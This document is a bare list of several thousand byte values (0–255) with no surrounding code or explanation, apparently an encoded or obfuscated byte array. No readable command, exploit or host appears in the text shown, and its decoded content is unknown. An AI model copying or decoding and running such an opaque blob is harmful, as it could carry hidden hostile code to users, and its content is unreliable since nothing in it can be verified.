137, 195, 216, 140, 217, 198, 202, 144, 210, 211, 192, 209, 153, 150, 206, 215, 204, 154, 216, 221, 211, 158, 204, 169, 172, 178, 175, 189, 229, 171, 166, 186, 162, 234, 170, 160, 161, 238, 187, 184, 180, 242, 163, 184, 180, 184, 185, 189, 189, 250, 168, 168, 184, 174, 172, 192, 128, 145, 195, 135, 138, 139, 151, 132, 140, 158, 142, 136, 195, 206, 188, 159, 156, 151, 135, 157, 152, 147, 132, 212, 217, 131, 148, 137, 221, 147, 158, 121, 33, 108, 102, 97, 97, 38, 115, 103, 41, 105, 99, 109, 99, 105, 106, 48, 97, 126, 114, 122, 102, 54, 126, 118, 57, 110, 115, 121, 61, 115, 118, 68, 69, 78, 70, 4, 74, 64, 7, 73, 9, 94, 74, 95, 70, 20, 15, 83, 80, 94, 95, 20, 85, 18, 76, 67, 25, 78, 84, 83, 81, 77, 17, 34, 56, 29, 40, 45, 43, 34, 105, 56, 37, 43, 37, 108, 48, 51, 47, 112, 38, 59, 39, 60, 117, 34, 63, 61, 121, 47, 43, 56, 60, 42, 58, 4, 65, 18, 15, 5, 11, 70, 6, 6, 13, 74, 6, 13, 6, 11, 79, 3, 4, 0, 22, 84, 1, 25, 87, 8, 11, 21, 13, 21, 25, 27, 95, 225, 239, 162, 227, 225, 253, 246, 235, 233, 231, 235, 255, 229, 226, 224, 239, 176, 254, 244, 179, 224, 253, 243, 183, 234, 248, 238, 242, 243, 243, 255, 243, 197, 129, 213, 203, 193, 203, 134, 195, 199, 192, 196, 204, 140, 222, 193, 129, 186, 187, 231, 192, 209, 149, 215, 151, 200, 213, 219, 213, 156, 202, 214, 218, 174, 251, 200, 201, 233, 229, 146, 175, 173, 233, 190, 170, 191, 166, 238, 166, 163, 241, 188, 188, 186, 248, 162, 165, 177, 175, 179, 186, 176, 253, 191, 177, 132, 193, 149, 138, 136, 137, 198, 149, 141, 152, 159, 130, 158, 136, 206, 130, 133, 157, 134, 154, 132, 153, 147, 215, 153, 154, 142, 146, 147, 147, 141, 223, 111, 119, 103, 113, 36, 100, 38, 107, 103, 103, 109, 43, 120, 100, 99, 106, 48, 121, 125, 97, 125, 111, 121, 121, 54, 19, 55, 59, 72, 117, 123, 109, 69, 1, 67, 81, 65, 5, 74, 72, 79, 64, 73, 74, 64, 13, 94, 71, 81, 66, 87, 64, 20, 90, 68, 23, 92, 92, 74, 94, 82, 89, 91, 81, 35, 40, 39, 48, 100, 50, 46, 34, 58, 44, 106, 56, 41, 60, 59, 42, 62, 50, 59, 61, 51, 117, 59, 54, 44, 45, 63, 41, 47, 115, 84, 114, 64, 53, 10, 6, 68, 18, 9, 21, 3, 73, 2, 10, 31, 77, 15, 2, 18, 24, 21, 6, 29, 1, 15, 87, 12, 17, 27, 15, 92, 31, 27, 17, 229, 231, 235, 247, 247, 165, 224, 245, 231, 228, 170, 228, 249, 249, 226, 230, 254, 248, 252, 244, 180, 253, 255, 240, 240, 180, 246, 254, 234, 248, 242, 191, 199, 206, 195, 207, 215, 139, 172, 138, 136, 240, 197, 222, 140, 218, 207, 193, 196, 145, 219, 221, 192, 208, 196, 218, 221, 221, 211, 218, 200, 216, 158, 220, 168, 164, 161, 168, 180, 170, 175, 169, 188, 186, 234, 173, 163, 191, 238, 169, 181, 180, 182, 177, 181, 182, 189, 247, 185, 183, 190, 251, 170, 188, 178, 182, 132, 128, 150, 138, 139, 139, 200, 237, 197, 201, 189, 131, 137, 131, 206, 155, 152, 148, 210, 134, 135, 144, 132, 215, 153, 138, 145, 158, 152, 221, 135, 144, 117, 33, 118, 108, 36, 97, 105, 39, 101, 102, 120, 110, 44, 121, 102, 110, 126, 49, 125, 125, 113, 53, 98, 127, 113, 119, 125, 59, 117, 115, 62, 126, 0, 82, 75, 77, 67, 73, 67, 7, 88, 91, 69, 70, 92, 89, 36, 2, 16, 101, 90, 86, 20, 64, 69, 82, 74, 25, 82, 90, 79, 29, 95, 76, 43, 36, 38, 99, 61, 42, 51, 103, 60, 38, 106, 62, 63, 40, 110, 59, 56, 52, 114, 35, 56, 52, 56, 119, 44, 54, 53, 55, 124, 117, 63, 52, 1, 65, 64, 55, 43, 33, 41, 20, 74, 64, 96, 70, 76, 52, 1, 26, 80, 22, 23, 29, 17, 7, 23, 3, 29, 89, 27, 31, 24, 20, 10, 22, 239, 239, 227, 239, 164, 246, 242, 226, 248, 250, 170, 252, 228, 228, 226, 234, 176, 230, 253, 225, 255, 252, 248, 240, 180, 185, 251, 245, 248, 189, 238, 243, 193, 207, 130, 215, 203, 133, 194, 200, 136, 221, 194, 206, 193, 141, 204, 202, 214, 222, 192, 214, 148, 204, 223, 210, 212, 221, 211, 213, 219, 157, 202, 208, 224, 181, 170, 166, 228, 176, 181, 162, 186, 195, 192, 232, 239, 238, 238, 138, 168, 176, 191, 163, 184, 176, 165, 221, 210, 243, 240, 147, 181, 186, 182, 242, 145, 148, 131, 143, 141, 145, 159, 199, 152, 133, 139, 133, 159, 199, 196, 229, 250, 180, 138, 146, 153, 133, 154, 146, 216, 200, 192, 241, 246, 204, 208, 223, 65, 101, 102, 35, 71, 73, 79, 39, 109, 103, 126, 121, 117, 45, 121, 102, 100, 121, 50, 117, 125, 121, 115, 55, 121, 107, 125, 104, 22, 47, 48, 63, 112, 64, 80, 80, 65, 5, 107, 70, 90, 66, 78, 68, 91, 67, 14, 89, 89, 80, 18, 112, 91, 88, 91, 88, 86, 116, 91, 73, 87, 29, 82, 86, 34, 51, 35, 49, 61, 79, 117, 105, 104, 8, 58, 59, 32, 52, 110, 60, 53, 60, 51, 61, 32, 60, 53, 119, 16, 13, 23, 23, 124, 41, 59, 50, 16, 13, 3, 23, 1, 111, 82, 73, 72, 33, 11, 5, 8, 1, 11, 79, 19, 30, 22, 22, 84, 23, 26, 24, 27, 18, 9, 87, 92, 20, 19, 30, 231, 228, 241, 175, 164, 233, 239, 233, 227, 250, 128, 190, 162, 173, 207, 235, 244, 177, 247, 225, 230, 250, 228, 183, 240, 248, 244, 255, 240, 244, 240, 248, 128, 199, 205, 209, 132, 204, 200, 209, 201, 197, 195, 207, 140, 203, 199, 195, 213, 194, 184, 185, 241, 205, 215, 218, 200, 213, 223, 155, 142, 135, 180, 181, 241, 239, 226, 135, 161, 163, 175, 169, 173, 233, 137, 152, 159, 237, 184, 174, 162, 184, 179, 177, 184, 176, 165, 247, 190, 182, 168, 251, 191, 178, 178, 176, 146, 146, 232, 209, 202, 197, 167, 131, 140, 201, 158, 132, 139, 138, 130, 138, 208, 134, 155, 135, 156, 213, 154, 152, 155, 152, 150, 168, 136, 146, 140, 158, 103, 100, 34, 112, 112, 100, 114, 98, 2, 58, 36, 43, 94, 104, 104, 110, 115, 101, 125, 97, 52, 118, 121, 122, 104, 118, 116, 126, 114, 105, 109, 63, 84, 78, 2, 86, 87, 64, 6, 81, 73, 91, 67, 74, 78, 65, 75, 92, 58, 5, 28, 19, 98, 80, 68, 94, 94, 64, 26, 90, 80, 81, 30, 73, 41, 36, 53, 48, 100, 35, 41, 53, 104, 59, 47, 42, 40, 44, 44, 38, 60, 56, 38, 42, 94, 96, 120, 119, 25, 61, 62, 123, 47, 48, 49, 48, 20, 9, 66, 23, 12, 0, 11, 2, 69, 10, 2, 10, 2, 10, 11, 79, 4, 3, 19, 29, 7, 28, 2, 30, 23, 23, 112, 113, 57, 5, 31, 18, 240, 237, 231, 163, 183, 191, 140, 141, 185, 167, 170, 216, 233, 249, 174, 250, 224, 177, 220, 252, 240, 240, 184, 253, 235, 185, 177, 187, 203, 248, 252, 204, 207, 194, 201, 198, 208, 133, 213, 194, 218, 223, 207, 217, 166, 159, 128, 143, 241, 213, 214, 147, 222, 218, 223, 217, 151, 213, 223, 218, 202, 216, 158, 221, 178, 174, 163, 167, 167, 164, 181, 179, 232, 172, 188, 174, 162, 185, 189, 197, 227, 255, 242, 154, 185, 165, 186, 178, 181, 188, 180, 175, 252, 176, 187, 172, 147, 128, 133, 138, 138, 130, 198, 144, 129, 157, 130, 203, 152, 132, 131, 138, 131, 133, 147, 158, 132, 134, 252, 195, 214, 217, 187, 159, 152, 221, 139, 140, 101, 115, 108, 98, 105, 96, 117, 39, 35, 41, 103, 110, 98, 121, 103, 96, 126, 49, 122, 122, 115, 125, 122, 126, 127, 113, 110, 114, 114, 122, 20, 42, 14, 1, 114, 70, 86, 86, 79, 84, 92, 9, 71, 78, 95, 94, 79, 72, 85, 66, 18, 90, 90, 21, 90, 94, 95, 81, 78, 76, 89, 84, 89, 87, 52, 97, 6, 1, 78, 115, 104, 103, 9, 45, 46, 107, 56, 52, 62, 38, 62, 54, 114, 58, 58, 49, 63, 52, 57, 45, 53, 41, 47, 125, 117, 127, 21, 15, 16, 6, 5, 1, 70, 4, 7, 28, 4, 31, 102, 103, 68, 69, 60, 30, 5, 94, 5, 0, 23, 27, 17, 13, 3, 91, 12, 17, 31, 17, 243, 171, 168, 137, 142, 192, 254, 230, 229, 249, 230, 238, 172, 188, 180, 133, 154, 160, 188, 179, 215, 231, 243, 246, 236, 252, 186, 216, 208, 212, 190, 235, 207, 206, 206, 169, 150, 139, 134, 230, 204, 205, 138, 230, 205, 223, 197, 203, 223, 198, 220, 147, 196, 212, 196, 196, 221, 203, 176, 136, 146, 157, 253, 208, 174, 183, 167, 177, 176, 229, 178, 168, 232, 129, 158, 134, 128, 199, 196, 138, 168, 176, 191, 163, 184, 176, 246, 229, 226, 211, 208, 234, 242, 253, 159, 187, 132, 193, 134, 130, 150, 142, 198, 138, 135, 141, 143, 203, 152, 130, 137, 136, 156, 148, 248, 193, 218, 213, 165, 150, 142, 156, 218, 139, 142, 152, 152, 154, 114, 100, 108, 96, 97, 15, 53, 41, 40, 68, 107, 96, 105, 45, 125, 123, 105, 125, 119, 96, 52, 121, 121, 120, 115, 57, 125, 116, 115, 121, 20, 21, 101, 89, 67, 78, 84, 73, 67, 7, 27, 19, 32, 33, 29, 3, 14, 108, 66, 84, 83, 71, 81, 21, 69, 94, 86, 94, 86, 94, 17, 91, 87, 83, 37, 97, 10, 23, 9, 9, 102, 32, 41, 36, 47, 65, 126, 99, 110, 29, 37, 63, 114, 34, 33, 60, 53, 60, 120, 42, 59, 53, 53, 41, 39, 127, 3, 9, 7, 0, 15, 111, 85, 73, 72, 58, 31, 6, 1, 12, 28, 6, 10, 20, 82, 6, 7, 20, 17, 18, 88, 16, 20, 8, 8, 15, 11, 28, 244, 232, 237, 237, 247, 143, 140, 206, 238, 169, 243, 228, 249, 173, 224, 234, 245, 245, 178, 231, 251, 181, 225, 229, 241, 237, 255, 187, 253, 189, 238, 243, 193, 207, 142, 131, 203, 203, 202, 222, 136, 222, 216, 194, 216, 200, 142, 199, 217, 214, 218, 147, 197, 192, 215, 219, 209, 205, 195, 155, 204, 209, 223, 209, 179, 237, 226, 173, 171, 177, 230, 171, 167, 190, 234, 186, 185, 172, 162, 166, 164, 168, 242, 188, 186, 176, 165, 249, 210, 253, 161, 254, 241, 253, 187, 177, 132, 136, 132, 195, 193, 152, 236, 237, 203, 202, 202, 191, 141, 158, 133, 207, 149, 137, 151, 144, 129, 129, 159, 152, 150, 243, 240, 162, 147, 136, 222, 158, 114, 100, 34, 98, 36, 102, 105, 99, 97, 103, 109, 43, 109, 106, 107, 97, 100, 63, 50, 67, 120, 112, 119, 100, 125, 57, 113, 126, 121, 109, 62, 120, 79, 72, 76, 68, 4, 80, 72, 83, 65, 69, 10, 95, 68, 72, 14, 94, 69, 84, 64, 74, 20, 92, 69, 23, 91, 86, 87, 75, 80, 88, 74, 90, 44, 56, 98, 49, 33, 54, 41, 43, 62, 44, 46, 103, 108, 47, 43, 41, 63, 35, 55, 115, 49, 59, 50, 62, 54, 62, 122, 34, 51, 40, 44, 127, 20, 20, 16, 13, 68, 4, 8, 3, 72, 16, 3, 14, 0, 9, 7, 1, 23, 81, 16, 18, 23, 30, 86, 3, 23, 89, 14, 19, 25, 93, 11, 12, 229, 243, 172, 163, 203, 235, 234, 254, 168, 253, 239, 249, 225, 228, 224, 238, 228, 244, 178, 234, 251, 224, 228, 183, 236, 236, 232, 245, 188, 234, 246, 250, 206, 129, 219, 204, 209, 133, 199, 213, 205, 137, 217, 222, 222, 200, 142, 219, 216, 208, 198, 147, 192, 221, 211, 151, 200, 203, 213, 217, 208, 216, 211, 159, 169, 178, 226, 176, 171, 169, 176, 162, 172, 231, 234, 138, 185, 185, 161, 161, 191, 188, 189, 166, 167, 185, 175, 247, 170, 188, 169, 180, 176, 171, 187, 255, 148, 137, 135, 195, 149, 144, 131, 149, 145, 201, 158, 132, 204, 153, 134, 138, 208, 147, 151, 128, 128, 213, 153, 145, 216, 128, 149, 142, 142, 221, 159, 157, 105, 109, 107, 119, 125, 41, 38, 114, 123, 96, 100, 108, 44, 121, 102, 106, 48, 101, 125, 124, 120, 102, 54, 118, 110, 120, 115, 119, 125, 127, 114, 122, 0, 85, 77, 3, 93, 74, 83, 11, 8, 75, 79, 77, 67, 95, 75, 15, 83, 94, 95, 90, 90, 82, 22, 85, 89, 90, 81, 27, 72, 82, 30, 75, 40, 36, 98, 54, 55, 32, 52, 105, 104, 13, 37, 107, 2, 2, 26, 111, 55, 36, 55, 32, 39, 117, 57, 37, 120, 52, 59, 48, 57, 125, 43, 47, 64, 0, 12, 67, 5, 11, 21, 16, 13, 27, 68, 97, 102, 52, 1, 26, 80, 60, 39, 32, 32, 85, 23, 19, 16, 28, 8, 30, 92, 9, 17, 95, 244, 233, 231, 163, 226, 234, 234, 235, 231, 254, 227, 229, 235, 173, 237, 253, 249, 229, 247, 225, 253, 244, 182, 224, 240, 252, 244, 187, 239, 242, 242, 233, 201, 207, 197, 131, 213, 208, 195, 213, 193, 204, 217, 145, 166, 167, 131, 143, 231, 222, 192, 216, 221, 219, 209, 151, 215, 215, 154, 207, 212, 216, 158, 205, 165, 177, 173, 235, 183, 236, 230, 174, 166, 233, 190, 163, 169, 237, 173, 186, 162, 163, 183, 189, 160, 245, 179, 185, 174, 176, 168, 180, 178, 176, 187, 177, 148, 193, 139, 144, 196, 132, 138, 139, 135, 158, 143, 143, 192, 205, 139, 153, 149, 159, 210, 154, 146, 213, 130, 159, 157, 128, 218, 154, 142, 152, 222, 143, 114, 110, 114, 113, 109, 96, 114, 102, 122, 112, 36, 1, 33, 45, 79, 97, 113, 125, 107, 105, 125, 123, 113, 55, 123, 118, 126, 126, 60, 123, 113, 109, 0, 87, 87, 79, 74, 64, 84, 70, 74, 64, 70, 66, 88, 68, 75, 92, 16, 88, 65, 19, 85, 89, 90, 88, 79, 92, 94, 21, 54, 16, 30, 108, 40, 46, 53, 42, 42, 34, 102, 50, 59, 44, 56, 107, 47, 34, 42, 42, 112, 48, 60, 55, 116, 33, 57, 56, 52, 121, 57, 58, 48, 49, 126, 59, 5, 21, 3, 10, 8, 22, 70, 14, 27, 73, 11, 7, 0, 2, 25, 10, 20, 95, 120, 94, 84, 32, 5, 18, 88, 13, 18, 30, 92, 29, 31, 15, 240, 237, 251, 220, 244, 228, 242, 228, 224, 233, 170, 255, 227, 226, 226, 175, 228, 254, 178, 246, 240, 252, 226, 183, 254, 240, 246, 254, 239, 189, 182, 209, 229, 247, 231, 241, 132, 209, 212, 222, 136, 201, 203, 219, 220, 193, 215, 223, 209, 197, 209, 219, 212, 149, 217, 197, 152, 217, 219, 203, 204, 209, 199, 146, 176, 160, 182, 160, 172, 165, 234, 231, 167, 167, 166, 178, 236, 173, 175, 191, 160, 189, 171, 140, 164, 180, 162, 180, 176, 185, 243, 225, 252, 166, 252, 188, 143, 140, 143, 130, 138, 129, 196, 221, 179, 203, 139, 155, 156, 129, 151, 176, 128, 144, 134, 144, 156, 215, 218, 213, 210, 211, 208, 219, 190, 152, 153, 150, 110, 33, 82, 98, 112, 102, 110, 91, 84, 103, 32, 33, 38, 45, 91, 127, 116, 112, 102, 118, 52, 83, 127, 123, 125, 35, 58, 107, 125, 105, 118, 48, 84, 78, 13, 69, 77, 73, 67, 9, 88, 80, 118, 119, 66, 109, 110, 15, 84, 84, 84, 19, 81, 77, 87, 90, 72, 85, 95, 19, 21, 7, 98, 99, 46, 108, 98, 51, 37, 54, 53, 27, 20, 39, 97, 107, 62, 40, 58, 58, 34, 63, 114, 98, 102, 102, 10, 11, 54, 115, 112, 113, 124, 24, 48, 59, 64, 49, 3, 23, 7, 13, 68, 58, 21, 99, 96, 34, 10, 77, 13, 0, 29, 1, 30, 22, 0, 28, 24, 16, 88, 13, 18, 30, 92, 8, 13, 26, 242, 166, 241, 163, 240, 228, 245, 236, 168, 251, 239, 250, 249, 228, 252, 234, 227, 177, 229, 225, 253, 225, 255, 249, 255, 185, 245, 233, 188, 240, 241, 251, 201, 199, 219, 202, 202, 194, 134, 193, 193, 197, 207, 216, 128, 141, 215, 192, 197, 195, 146, 208, 219, 209, 211, 151, 217, 215, 222, 155, 218, 212, 208, 222, 172, 225, 163, 173, 183, 178, 163, 181, 232, 186, 162, 164, 185, 161, 170, 239, 182, 190, 190, 191, 187, 162, 246, 163, 176, 188, 169, 190, 252, 190, 177, 187, 137, 143, 133, 195, 131, 144, 143, 131, 141, 133, 131, 133, 137, 158, 194, 207, 132, 153, 157, 134, 147, 157, 214, 130, 139, 156, 136, 219, 149, 147, 141, 139, 114, 116, 97, 119, 109, 106, 104, 116, 40, 33, 99, 37, 105, 35, 46, 78, 87, 84, 92, 71, 71, 59, 123, 115, 49, 57, 119, 122, 101, 61, 113, 105, 69, 83, 80, 74, 64, 64, 6, 83, 64, 76, 89, 78, 12, 74, 91, 70, 84, 84, 94, 90, 90, 80, 69, 13, 50, 51, 23, 27, 122, 84, 70, 31, 52, 41, 39, 99, 52, 55, 41, 37, 36, 44, 39, 107, 45, 57, 110, 59, 56, 52, 114, 33, 59, 58, 34, 119, 59, 56, 47, 40, 57, 125, 44, 62, 20, 9, 7, 17, 68, 17, 14, 6, 6, 73, 11, 27, 28, 1, 23, 6, 30, 22, 82, 0, 1, 7, 16, 22, 27, 28, 87, 23, 25, 11, 27, 19, 160, 241, 227, 247, 231, 237, 227, 244, 164, 169, 253, 227, 233, 227, 174, 255, 255, 226, 225, 250, 246, 249, 243, 185, 146, 180, 186, 218, 234, 242, 247, 251, 128, 212, 204, 205, 193, 192, 194, 194, 204, 137, 201, 196, 193, 221, 194, 202, 200, 216, 198, 202, 148, 220, 216, 151, 193, 214, 207, 201, 156, 206, 209, 211, 181, 181, 171, 172, 170, 235, 204, 234, 232, 141, 165, 235, 162, 162, 186, 239, 177, 165, 166, 182, 185, 165, 162, 247, 172, 182, 250, 189, 181, 165, 254, 170, 142, 147, 135, 143, 133, 145, 131, 131, 200, 139, 159, 140, 159, 205, 129, 157, 208, 147, 128, 156, 159, 144, 152, 215, 140, 156, 137, 143, 143, 211, 222, 182, 116, 33, 107, 112, 36, 107, 105, 115, 40, 112, 101, 126, 126, 45, 124, 106, 99, 97, 125, 125, 103, 124, 116, 126, 116, 112, 110, 98, 60, 105, 113, 63, 70, 72, 90, 3, 80, 77, 67, 74, 6, 9, 2, 114, 67, 88, 14, 66, 81, 72, 18, 94, 81, 91, 66, 94, 87, 87, 26, 79, 84, 88, 83, 31, 52, 46, 98, 55, 44, 32, 102, 50, 59, 44, 56, 107, 37, 35, 110, 54, 63, 36, 32, 115, 50, 60, 56, 54, 52, 121, 55, 62, 47, 46, 63, 56, 5, 65, 22, 11, 11, 16, 1, 15, 70, 64, 96, 70, 76, 56, 30, 11, 17, 5, 23, 83, 16, 26, 21, 2, 21, 28, 20, 15, 29, 9, 23, 16, 238, 161, 227, 240, 164, 235, 227, 228, 237, 250, 249, 234, 254, 244, 160, 133, 189, 177, 217, 246, 241, 229, 182, 244, 240, 248, 244, 252, 249, 238, 190, 252, 207, 207, 209, 202, 215, 209, 195, 201, 220, 137, 221, 194, 216, 197, 142, 219, 216, 212, 146, 192, 192, 204, 218, 210, 152, 214, 220, 155, 200, 213, 219, 159, 165, 185, 171, 176, 176, 172, 168, 160, 232, 170, 165, 175, 169, 175, 175, 188, 181, 255, 242, 144, 188, 180, 184, 176, 189, 170, 250, 168, 180, 178, 171, 179, 132, 193, 128, 134, 196, 136, 143, 137, 129, 132, 139, 135, 204, 140, 128, 139, 208, 151, 157, 144, 129, 134, 147, 147, 216, 150, 148, 219, 136, 149, 155, 223, 116, 96, 113, 104, 42, 15, 43, 39, 93, 122, 111, 43, 108, 106, 103, 123, 48, 125, 125, 116, 116, 53, 119, 121, 124, 57, 122, 124, 117, 105, 62, 125, 76, 64, 79, 70, 68, 5, 82, 72, 8, 90, 79, 74, 94, 78, 70, 15, 68, 89, 87, 19, 92, 92, 69, 67, 87, 75, 67, 27, 83, 91, 30, 75, 40, 36, 98, 32, 43, 33, 35, 37, 41, 58, 47, 107, 37, 43, 110, 46, 52, 53, 59, 39, 61, 58, 56, 54, 52, 121, 57, 52, 50, 41, 59, 39, 20, 65, 11, 16, 68, 23, 3, 22, 29, 0, 24, 14, 8, 67, 100, 66, 80, 63, 55, 37, 49, 39, 86, 22, 28, 29, 90, 24, 19, 13, 7, 13, 233, 230, 234, 247, 164, 234, 244, 167, 228, 224, 233, 238, 226, 254, 235, 175, 248, 244, 243, 247, 241, 231, 229, 183, 237, 247, 246, 254, 239, 238, 190, 236, 208, 196, 193, 202, 194, 204, 197, 198, 196, 197, 211, 139, 222, 200, 223, 218, 213, 194, 198, 214, 208, 155, 188, 154, 152, 253, 213, 155, 210, 210, 202, 159, 183, 160, 177, 183, 161, 229, 178, 168, 163, 172, 164, 184, 236, 175, 183, 239, 162, 180, 255, 161, 177, 180, 178, 190, 182, 190, 250, 189, 181, 177, 187, 172, 192, 128, 132, 151, 129, 151, 198, 132, 137, 133, 134, 130, 130, 138, 206, 143, 145, 129, 130, 159, 141, 170, 134, 150, 140, 154, 146, 155, 220, 146, 144, 223, 116, 105, 103, 110, 42, 37, 82, 111, 109, 41, 126, 100, 99, 97, 46, 108, 113, 125, 126, 51, 99, 124, 122, 123, 56, 127, 123, 114, 112, 61, 119, 121, 0, 72, 86, 3, 64, 76, 66, 73, 15, 93, 10, 92, 67, 95, 69, 1, 16, 101, 90, 86, 20, 70, 87, 90, 93, 25, 93, 84, 89, 78, 30, 89, 47, 51, 98, 46, 37, 46, 47, 41, 47, 105, 44, 36, 32, 41, 43, 61, 35, 125, 114, 55, 49, 57, 51, 35, 49, 55, 61, 123, 58, 50, 50, 59, 5, 19, 17, 79, 68, 0, 18, 4, 70, 99, 71, 75, 40, 2, 78, 1, 31, 5, 82, 19, 19, 28, 2, 87, 27, 22, 23, 22, 21, 9, 30, 95, 249, 238, 247, 241, 164, 230, 238, 230, 230, 238, 239, 248, 172, 226, 252, 175, 243, 227, 247, 242, 224, 240, 182, 249, 253, 238, 186, 252, 245, 233, 190, 253, 210, 192, 204, 192, 204, 192, 213, 135, 221, 199, 198, 206, 223, 222, 142, 202, 200, 193, 222, 218, 215, 220, 194, 219, 193, 153, 200, 222, 205, 200, 219, 204, 180, 164, 166, 237, 206, 232, 230, 131, 167, 233, 164, 164, 184, 237, 175, 171, 180, 241, 187, 189, 184, 188, 184, 178, 248, 186, 181, 182, 177, 184, 176, 171, 147, 193, 149, 138, 144, 141, 143, 137, 200, 138, 133, 143, 137, 205, 155, 129, 156, 148, 129, 128, 212, 144, 142, 135, 148, 144, 153, 146, 136, 145, 135, 223, 114, 100, 115, 118, 97, 118, 114, 98, 108, 39, 0, 38, 44, 73, 97, 47, 126, 126, 102, 51, 97, 102, 115, 55, 119, 119, 127, 54, 112, 120, 106, 107, 69, 83, 2, 85, 69, 87, 79, 70, 74, 69, 79, 11, 66, 76, 67, 74, 67, 17, 71, 93, 88, 80, 69, 68, 24, 92, 66, 75, 80, 84, 93, 86, 52, 45, 59, 99, 54, 32, 55, 50, 45, 58, 62, 46, 40, 99, 68, 98, 112, 31, 23, 5, 17, 7, 118, 56, 45, 45, 42, 46, 40, 125, 55, 49, 12, 8, 12, 6, 68, 6, 15, 19, 9, 29, 3, 4, 2, 30, 78, 3, 25, 26, 23, 83, 86, 150, 246, 231, 62, 67, 40, 62, 61, 57, 51, 58, 174, 236, 230, 97, 4, 37, 202, 178, 165, 197, 187, 191, 111, 13, 31, 173, 176, 248, 252, 179, 237, 250, 227, 229, 184, 246, 239, 239, 236, 232, 234, 236, 142, 129, 246, 203, 193, 133, 229, 235, 225, 137, 195, 216, 140, 195, 193, 219, 144, 208, 208, 223, 209, 149, 194, 216, 152, 203, 223, 213, 216, 216, 204, 159, 180, 169, 167, 176, 161, 229, 181, 168, 232, 189, 162, 174, 181, 237, 185, 166, 188, 189, 242, 185, 161, 166, 162, 247, 186, 188, 250, 185, 174, 178, 181, 186, 142, 193, 139, 141, 196, 145, 142, 130, 200, 188, 163, 197, 204, 164, 128, 156, 132, 148, 147, 151, 216, 213, 159, 145, 216, 128, 149, 142, 220, 146, 139, 139, 112, 116, 118, 35, 114, 100, 106, 110, 108, 41, 108, 98, 96, 104, 126, 110, 100, 121, 97, 63, 52, 96, 101, 114, 106, 106, 58, 108, 117, 113, 114, 63, 66, 68, 2, 66, 70, 73, 67, 7, 92, 70, 10, 72, 64, 68, 77, 68, 16, 94, 92, 19, 64, 93, 83, 90, 24, 77, 85, 27, 83, 77, 91, 81, 96, 53, 42, 38, 100, 35, 47, 43, 45, 58, 106, 34, 34, 109, 58, 39, 53, 56, 32, 115, 49, 49, 63, 35, 55, 43, 116, 81, 86, 126, 125, 127, 54, 0, 14, 10, 0, 4, 18, 14, 6, 14, 74, 18, 3, 24, 28, 79, 7, 30, 0, 24, 126, 127, 63, 17, 88, 13, 18, 30, 92, 30, 17, 27, 229, 227, 227, 240, 225, 165, 238, 230, 251, 169, 254, 238, 255, 249, 253, 175, 255, 227, 178, 231, 252, 240, 182, 246, 250, 240, 246, 242, 232, 228, 190, 235, 207, 129, 192, 214, 205, 201, 194, 135, 199, 219, 138, 217, 217, 195, 130, 143, 211, 222, 220, 192, 221, 209, 211, 197, 152, 204, 201, 210, 210, 218, 158, 203, 168, 164, 175, 227, 176, 170, 230, 177, 173, 187, 163, 173, 181, 237, 186, 167, 177, 165, 242, 170, 187, 160, 164, 247, 175, 182, 168, 176, 252, 180, 173, 255, 131, 142, 143, 147, 136, 128, 146, 130, 198, 201, 224, 225, 187, 133, 139, 129, 208, 133, 151, 128, 128, 156, 152, 144, 212, 217, 131, 148, 137, 143, 222, 143, 104, 104, 110, 108, 119, 106, 118, 111, 113, 41, 121, 99, 99, 120, 98, 107, 48, 115, 119, 51, 96, 122, 54, 100, 108, 120, 104, 111, 60, 124, 109, 63, 83, 81, 71, 64, 77, 67, 79, 68, 8, 72, 89, 11, 92, 66, 93, 92, 89, 83, 94, 86, 20, 65, 89, 23, 76, 81, 95, 27, 95, 82, 90, 90, 96, 56, 45, 54, 100, 38, 46, 38, 38, 46, 47, 47, 108, 62, 33, 111, 36, 57, 51, 39, 116, 44, 57, 34, 120, 58, 59, 53, 124, 62, 63, 43, 3, 9, 66, 10, 23, 22, 19, 2, 27, 73, 15, 13, 10, 4, 13, 6, 21, 31, 6, 31, 13, 89, 86, 3, 16, 28, 20, 91, 17, 28, 21, 26, 160, 248, 237, 246, 246, 165, 241, 230, 241, 169, 254, 228, 172, 239, 252, 224, 241, 245, 247, 225, 180, 225, 243, 228, 236, 234, 186, 250, 239, 189, 231, 240, 213, 129, 192, 214, 205, 201, 194, 135, 203, 198, 196, 205, 197, 201, 203, 193, 211, 212, 156, 147, 253, 211, 150, 195, 208, 220, 200, 222, 155, 206, 158, 209, 175, 225, 182, 166, 183, 177, 230, 161, 167, 187, 234, 191, 164, 168, 238, 172, 191, 181, 183, 243, 173, 186, 163, 247, 187, 177, 187, 181, 187, 184, 186, 243, 192, 128, 140, 135, 196, 140, 128, 199, 156, 129, 143, 203, 141, 137, 132, 142, 147, 148, 156, 135, 212, 133, 151, 131, 140, 156, 136, 149, 143, 221, 151, 145, 32, 117, 106, 102, 36, 102, 105, 99, 109, 107, 107, 120, 105, 126, 46, 124, 120, 126, 101, 51, 96, 125, 119, 99, 56, 109, 114, 126, 110, 120, 57, 108, 0, 64, 2, 79, 75, 66, 79, 68, 73, 69, 10, 91, 64, 76, 77, 74, 16, 87, 93, 65, 20, 76, 89, 66, 24, 77, 85, 27, 93, 89, 90, 31, 33, 97, 54, 38, 55, 49, 106, 103, 49, 38, 63, 107, 33, 44, 55, 111, 52, 62, 114, 32, 59, 123, 118, 31, 55, 46, 63, 45, 57, 47, 114, 127, 4, 14, 66, 13, 11, 17, 70, 6, 12, 13, 74, 31, 9, 30, 26, 28, 80, 5, 29, 83, 23, 26, 18, 18, 26, 24, 9, 30, 15, 93, 9, 22, 244, 233, 162, 237, 235, 165, 242, 226, 251, 253, 249, 165, 134, 135, 221, 230, 253, 248, 254, 242, 230, 249, 239, 187, 184, 246, 244, 248, 249, 189, 231, 240, 213, 134, 208, 198, 132, 198, 201, 201, 206, 192, 206, 206, 194, 217, 142, 198, 222, 145, 209, 220, 198, 199, 211, 212, 204, 215, 223, 200, 207, 145, 158, 198, 175, 180, 226, 160, 165, 171, 230, 180, 189, 174, 173, 174, 191, 185, 238, 160, 162, 241, 167, 160, 177, 245, 176, 184, 170, 180, 187, 175, 168, 180, 176, 184, 192, 130, 141, 142, 137, 132, 136, 131, 155, 201, 158, 132, 204, 136, 128, 156, 133, 131, 151, 211, 128, 157, 151, 131, 216, 128, 149, 142, 142, 221, 157, 144, 100, 100, 34, 106, 119, 37, 113, 98, 100, 101, 42, 109, 99, 127, 99, 110, 100, 101, 119, 119, 58, 53, 95, 113, 56, 109, 114, 126, 110, 120, 62, 126, 82, 68, 2, 74, 87, 86, 83, 66, 91, 9, 83, 68, 89, 13, 77, 78, 94, 